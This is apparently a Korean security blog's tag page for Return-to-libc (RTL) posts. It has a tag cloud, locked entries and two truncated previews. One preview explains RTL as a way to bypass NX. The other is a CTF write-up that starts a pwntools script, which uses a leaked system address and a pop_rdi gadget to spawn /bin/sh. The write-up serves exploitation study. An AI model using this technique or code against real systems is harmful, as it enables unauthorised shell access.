일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 에라토스테네스의 체
- 스택
- DFS
- 큐
- syscall
- 이진트리
- 스위핑 알고리즘
- 분할 정복
- 수학
- RTL
- heap
- BFS
- ROP
- 이진 탐색
- 문자열 처리
- 연결리스트
- 다이나믹 프로그래밍
- off by one
- OOB
- 포맷스트링버그
- 투 포인터
- House of Orange
- fsb
- 백트래킹
- 동적 계획법
- 이분 탐색
- BOF
- 완전 탐색
- tcache
- 브루트 포스
- Today
- Total
목록RTL (5)
SDJ( 수돈재 아님 ㅎ )
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
시스템 Exploitation 기법중 RTL에 관한 글이다. RTL ( Return-to-libc ) 기법 32 bit RTL 64 bit RTL 로 구성되어있다. 이 글을 읽고 나면... RTL을 연속적으로 트리거하는 RTL chaining에 대해 알아보자. 2020/05/28 - [study/pwnable] - [Exploitation Technique] RTL chaining RTL ( Return-to-libc ) ? 먼저 linux 바이너리에는 Dynamic Linking을 했ㅇ르 시 라이브러리 공유를 위해 코드영역이나 데이터영역에 libc가 로드되어 있다. RTL이란 이렇게 남아있는 libc를 가지고 NX를 우회하는 기법을 의미하는데, NX는 stack과 같은 부분에 execute 권한을 지워..
64bit 바이너리에 NX만 활성화 되어있다. Lite문제는 system의 주소를 주고 문자열 끝에 "/bin/sh"도 준다. 따라서 RTL로 쉘을 따면 되겠다. 64bit는 rdi, rsi, rdx순으로 인자를 받으므로 pop_rdi 가젯을 찾아 /bin/sh를 넣고 system 함수를 호출하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('./combo-chain-lite') pop_rdi = 0x401273 p.recvuntil("computer: ") libc_system = int(p.recvuntil('\n').strip(), 16) print "libc_system : " + he..